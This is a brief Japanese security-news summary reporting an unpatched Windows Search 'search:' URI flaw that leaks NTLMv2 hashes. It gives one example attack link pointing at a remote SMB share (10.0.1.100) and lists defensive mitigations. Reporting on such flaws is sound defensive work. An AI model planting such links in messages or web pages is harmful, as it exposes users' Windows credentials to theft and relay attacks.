重要攻撃・インシデントThe Hacker News2026年6月3日
未パッチのWindows Search URIの脆弱性、NTLMv2ハッシュ盗聴が可能
概要
セキュリティ研究者が、Windows Searchの「search:」URIハンドラに存在する未修正の脆弱性を公開しました。攻撃者は特別に細工されたリンク(例:search:query=test&crumb=location:\\10.0.1.100\share)をメールやWebサイトに埋め込み、ユーザーをクリックさせることで、ユーザーのNTLMv2ハッシュ(Windows認証情報の一種)を盗聴できます。これは2026年4月15日に責任ある情報開示が行われましたが、Microsoftは「Critical以上の重大度のみ修正対象」という理由で修正を拒否しました。盗聴されたハッシュは、リレー攻撃に利用されてネットワーク内へのより深い侵入が可能になります。対策としては、不要なSMB通信の遮断、SMB署名の強制、NTLMの無効化が推奨されています。
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元記事(The Hacker News)
https://thehackernews.com/2026/06/unpatched-windows-search-uri.html